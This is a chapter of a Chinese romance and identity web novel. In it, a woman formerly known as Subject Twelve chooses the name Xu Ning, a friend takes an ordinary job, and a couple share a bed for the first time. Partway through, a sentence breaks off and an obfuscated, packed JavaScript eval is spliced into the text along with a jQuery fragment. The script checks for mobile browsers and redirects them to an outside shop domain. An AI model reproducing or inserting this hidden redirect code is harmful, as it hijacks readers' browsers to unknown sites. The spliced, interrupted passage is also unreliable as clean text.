周砚拿到备用钥匙以后，真正自己开门的次数反而不多。
大部分时候还是按门铃。
不归有一次正在厨房切水果，听见门铃响，隔着门问：“你不是有钥匙？”
周砚在外面说：“你人在家。”
“所以？”
“所以按门铃。”
不归把门打开：“那我给你钥匙有什么用？”
“防你再穿着拖鞋被锁外面。”
她面无表情地看他。
周砚立刻换鞋：“今天不提。”
“已经提了。”
“那我道歉。”
“不接受。”
嘴上说不接受，水果还是分了他一半。
这天周砚刚坐下没多久，不归手机响了。
十二号发来的。
【你明天去R-17吗？】
不归回：
【下午去。怎么了？】
那边隔了一会儿。
【我想改名字。】
不归盯着屏幕看了两秒。
周砚注意到：“谁？”
“十二号。”
“出事了？”
“没有。”
她把手机递过去。
周砚看完，也停了一下。
“想好了？”
“不知道。”
不归重新拿回手机，打字。
【需要我陪？】
十二号：
【可以。】
不归：
【乔榆呢？】
这次回复得很快。
【我没问她。】
不归看见这句，没再替她问。
第二天下午，她去R-17的时候周砚也在。
不是专程陪她。
恒界那边有一批旧玩家侧数据权限要最后核对，他在同一栋楼办事。两个人电梯里碰见，不归第一句就是：“你跟踪我？”
周砚按了楼层：“我比你先到。”
“那也是你有嫌疑。”
“证据呢？”
“不需要。”
“你最近越来越不讲理。”
“恋爱特权。”
“这条谁批的？”
“我。”
周砚点头：“那我申请复议。”
电梯门开了。
不归先出去：“驳回。”
十二号已经坐在服务台旁边。
她今天穿了件很普通的浅色外套，头发比刚离开白房间时长了一些。最开始她总坐得很直，像随时在等下一条指令，现在倒会靠着椅背看手机了。
屏幕上是一页姓名修改申请。
当前公开姓名栏还是空。
内部索引：
【候选主体12／历史索引】
下面写着：
【该索引仅作技术追溯，不作为当前姓名。】
不归坐到她旁边：“怎么突然想改？”
十二号把手机递给她。
是一张展览报名表。
她和乔榆周末又去看展，回来以后自己报了一个社区摄影课。报名可以不填真实姓名，却要填一个课堂显示名。
她上次写的是【12】。
老师以为她年龄十二岁。
给她发了儿童班课程介绍。
不归没忍住笑。
十二号也没生气：“我解释了。”
“然后呢？”
“老师让我自己填一个。”
“你可以还叫十二。”
“可以。”
“那为什么想改？”
十二号想了很久。
“我现在觉得十二很像别人叫我的编号。”
这句话说得很平。
不是控诉。
她刚出来那阵，不归他们都小心避开“十二号”这个称呼，怕把人重新塞回实验记录里。可本人一直没有明确反对，大家后来才慢慢发现，替她避讳也没必要。
她今天自己说不想用了。
那就不用。
工作人员把申请调出来：“您已经准备好新姓名了吗？”
十二号点头。
“许宁。”
不归有一点意外。
很普通的名字。
她原本以为十二号会选一个跟过去有关的，或者至少挑个很有纪念意义的。
“哪个许？”
“允许的许。”
“宁呢？”
“安宁的宁。”
周砚刚好办完事过来，听见最后一句，顺口问：“有什么意思？”
十二号看他。
“没什么意思。”
周砚：“哦。”
“就是这两个字写在一起，我觉得顺眼。”
不归笑了。
“挺好。”
十二号问：“你不问为什么姓许？”
“你刚才不是说没什么意思？”
“嗯。”
“那不问。”
工作人员倒必须按流程确认：“新姓名是否来自历史记忆、已有关系对象建议或恢复记录？”
“不是。”
“是否有其他主体对该姓名拥有指定、要求或条件？”
“没有。”
“是否需要查询该姓名与历史身份的相似度？”
十二号停了一下。
“为什么要查？”
“可以避免您之后发现它恰好跟某段历史高度重合。”
她想了几秒。
“不要查。”
工作人员抬头：“确定？”
“嗯。”
“即使以后发现有重合，也不会影响您现在的选择，只会作为历史信息另行处理。”
“那就以后发现再说。”
“好。”
申请继续往下。
【是否将旧索引“12”保留为公开曾用名？】
十二号选：
【否。】
【是否保留为本人可查历史记录？】
她选：
【是。】
【是否通知当前自主联系人？】
不归看到这一栏，知道所谓当前自主联系人里有乔榆。
十二号没选自动通知。
工作人员问：“要自己告诉吗？”
“嗯。”
改名申请没有等待七十二小时，也没有弹出“请慎重决定，姓名伴随终生”。
现在姓名可以改。
当然也不能随便替另一个人改，所以需要本人认证。
十二号——现在还得暂时这么叫她——确认完以后，页面刷新。
【当前姓名：许宁。】
【历史技术索引：12，仅本人及授权审计可查。】
工作人员说：“好了。”
许宁看着自己的名字。
不归问：“有什么感觉？”
她认真看了一会儿。
“有一点不习惯。”
“后悔了？”
“没有。”
“那就慢慢习惯。”
许宁点头。
过程比所有人以前想过的都简单。
没有恢复出一段尘封记忆。
也没人拿着一张旧纸告诉她，其实她出生时就叫这个。
她只是因为报摄影课被当成十二岁小孩，终于觉得编号用起来麻烦，于是给自己挑了个名字。
改完不到十分钟，她又去办另一件事。
办图书馆的长期借阅资格。
工作人员问：“姓名？”
许宁停了一秒。
“许宁。”
第一遍说得有点慢。
对方没觉得有什么特殊，低头录入：“手机号？”
她继续报。
不归坐后面看着，忽然觉得改名真正落下来的时刻根本不是刚才那个确认页面。
是现在。
有人很普通地问她叫什么。
她回答了。
对方写下来。
没有追问她以前是谁。
办完借阅资格，许宁才拿出手机。
她给乔榆发消息。
【我改名字了。】
乔榆五分钟以后回：
【叫什么？】
【许宁。】
过了一会儿。
【挺好听。】
许宁盯着这三个字。
又问：
【像阿苒吗？】
不归坐得近，看见了，却没出声。
乔榆这次回得慢一点。
【不像。】
许宁：
【好。】
再过十几秒，乔榆又发来一句。
【像你现在。】
许宁看了很久。
没回复。
不归问：“怎么了？”
“我不知道这句话对不对。”
“哪句？”
“像我现在。”
不归看她：“那你问她。”
许宁真问了。
【为什么？】
乔榆：
【不知道。可能因为我已经用这个名字想了一遍你。】
许宁把手机放下。
“这个回答可以吗？”不归问。
“可以。”
“那就行。”
周砚在旁边听了半天：“你们现在连一句话都要审核？”
不归转头：“你有意见？”
“没有。”
许宁却认真回答：“以前别人说我像谁，我会先想是不是我应该变成那个人。”
周砚没再开玩笑。
她继续说：“现在不用。”
这件事到这里，也就结束了。
没有人提样本087。
她还活着。
还在自己决定去哪里。
如果未来某一天回来，那是她的事。
许宁也不用为她保留一个空位，更不用等一个失踪的人回来验证自己到底是不是谁。
出R-17以后，许宁请不归喝了杯东西。
原因是她刚拿到这个月的生活补贴，又接了一份摄影课的助教兼职。虽然只负责整理器材和签到，一周两次，钱不多，但她很想请。
周砚也跟着坐下。
许宁看他：“我没说请你。”
周砚：“我自己付。”
“那可以。”
不归笑得差点把吸管咬扁。
三个人坐在小店里，许宁第一次用新名字点单。
店员问会员吗。
她说不是。
问姓名留单。
她说：“许宁。”
店员打出来的小票上果然写：
【许宁女士】
许宁拿着看了一会儿。
“为什么还有女士？”
不归：“系统礼貌称呼。”
“能不要吗？”
店员听见了：“可以改成昵称。”
许宁想了想：“那就许宁。”
下一张小票真只剩两个字。
她满意了。
不归问：“你以后会再改吗？”
“不知道。”
“摄影课要是又叫腻了？”
“那再说。”
周砚喝了口咖啡：“你们现在很喜欢这个答案。”
不归：“哪个？”
“不知道。”
“挺好用的。”
许宁点头：“是。”
回去路上，不归忽然想起自己的续页。
她已经好几天没写。
以前空白页刚上线时，新鲜，什么都想记一点。后来渐渐就忘了。
她坐副驾驶打开，前一条还是：
【把备用钥匙给周砚了。】
再往前是见朋友、谈恋爱、搬家、学车。
全是她觉得当时想写的东西。
今天她本来想加一句：
【十二号有名字了。】
打完以后删了。
重新写：
【许宁今天改了名字。】
还是不对。
她又删。
周砚开车，余光看见：“写什么？”
“许宁。”
“那你写。”
“不想了。”
“为什么？”
“不归看着窗外：“她的名字为什么要写在我的续页里？”
“你今天陪她去了。”
“也对。”
她又想了一会儿。
最后写：
【今天陪朋友去改了名字。】
没有替她记录叫什么。
许宁自己有自己的身份页。
也有她以后想不想开的空白续页。
名字是她自己的。
不需要被别人的人生顺手收进去。
当天晚上，许宁第一次打开了属于自己的个人续页。
系统问：
【是否填写第一条？】
她点：
【是。】
输入框里，她想了很久。
不是：
【今天我终于有名字了。】
也不是：
【从今天开始我叫许宁。】
她写的是：
【摄影课周四晚上七点，别迟到。】
保存。
然后定了个闹钟。
这才是她现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944425|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在最担心的事。
第二天，不归知道以后笑了很久。
“她就写这个？”
“嗯。”
“挺好。”
周砚正在她家厨房洗杯子。
听见以后问：“你第一条是什么？”
“不告诉你。”
“熄火？”
不归转头。
“你怎么知道？”
“你当时问我熄了几次。”
她沉默两秒。
“忘掉。”
“记性正常。”
“周砚。”
“嗯？”
“你今天可以走了。”
周砚把洗好的玻璃杯放回架子。
“饭还没吃。”
“吃完走。”
“那行。”
不归本来还板着脸，最后还是笑了。
吃饭的时候，她收到裴行砚的消息。
他发来一张合同照片。
【签了。】
不归点开。
是一份现实侧正式劳动合同。
公司不是什么项目方，也跟恒界没关系。
一家做地图数据维护的普通公司。
职位写得很普通：
【数据质检。】
姓名：
【裴行砚。】
历史关联身份那一栏根本没出现在劳动合同里。
不归问：
【什么时候上班？】
【下周一。】
【你不是说不想坐办公室？】
【给得多。】
不归笑出声。
周砚问：“谁？”
“裴行砚。”
她把手机给他看。
周砚看完：“挺现实。”
裴行砚紧接着又发：
【试用期三个月。干不下去就走。】
不归回：
【挺好。】
他问：
【哪好？】
不归想了想。
【能走。】
裴行砚过了一会儿回：
【确实。】
那天晚上，不归洗完澡出来，发现周砚还没走。
他坐沙发上看一部已经看了一半的电影。
“你不是说吃完走？”
“你没赶。”
“现在赶。”
周砚抬头：“真的？”
不归站着看他两秒。
“假的。”
“哦。”
“你最近是不是特别喜欢哦？”
“因为安全。”
“为什么？”
“说什么都容易被你挑。”
不归坐到他旁边。
“那别说了。”
周砚还真不说了。
电影继续。
看到后半段，不归困得靠在他肩上。
周砚动了一下。
“去睡？”
“再看会儿。”
十分钟以后她已经闭眼了。
周砚没叫。
电影结束，片尾字幕滚完，不归才醒了一点。
发现自己还靠着他。
“几点？”
“十一点四十。”
“你回去？”
“可以。”
不归没立刻动。
过了一会儿才说：“明天周六。”
“嗯。”
“你没有换洗衣服。”
“我知道。”
“牙刷有。”
“嗯。”
“你睡沙发还是很挤。”
周砚侧头看她。
不归也抬眼。
这次没人拿下雨当理由。
也没人先说“只是今晚”。
她看了他几秒。
“床可以睡。”
周砚没马上接。
“确定？”
不归笑了一下。
“你现在是不是每次都得问？”
“重要的事问一下。”
“确定。”
他还是看着她。
“不归。”
“干什么？”
“我今天只是睡觉。”
她愣了一下。
然后反应过来，一脚踢他小腿。
“你脑子里到底在想什么？”
“我怕你明天说我理解错。”
“我说的是床可以睡！”
“我知道。”
“那你还解释？”
周砚已经笑了。
不归站起来：“睡沙发去。”
“刚才不是——”
“撤回。”
“关系选择可以撤回，理解。”
“闭嘴。”
最后周砚还是睡了床。
因为不归刷完牙出来，发现他真的在铺沙发。
她站旁边看了半分钟。
“进去。”
周砚抬头：“哪？”
“卧室。”
“不是撤回？”
“现在重新同意。”
“有效期？”
不归抓起枕头就砸。
周砚接住，终于没再问。
两个人躺到一张床上以后，反而比在客厅时安静。
灯关了。
床也确实够大。
中间一开始还留了挺宽的距离。
不归躺了几分钟，忽然说：“你是不是快掉下去了？”
“还早。”
“你往里一点。”
周砚挪了一点。
又过一会儿。
“再过来。”
“还要？”
“不然你睡沙发。”
他又挪。
这次两个人肩膀碰到。
不归没有躲。
周砚也没伸手把她抱过去。
就这么躺了一会儿。
最后是不归自己翻身，额头碰到他肩膀。
“周砚。”
“嗯？”
“晚安。”
“晚安。”
她闭上眼。
半分钟后，又补一句。
“钥匙不用还。”
黑暗里，周砚笑了一下。
“知道。”
“也别得意。”
“没得意。”
“睡觉。”
“好。”
这一次，没有谁需要再确认这算不算同居。
明天早上起来，周砚可能回自己家。
下周也未必天天过来。
一把钥匙，一张床，都不用急着变成下一个固定身份。
至少今晚，他留下。
是她自己让的。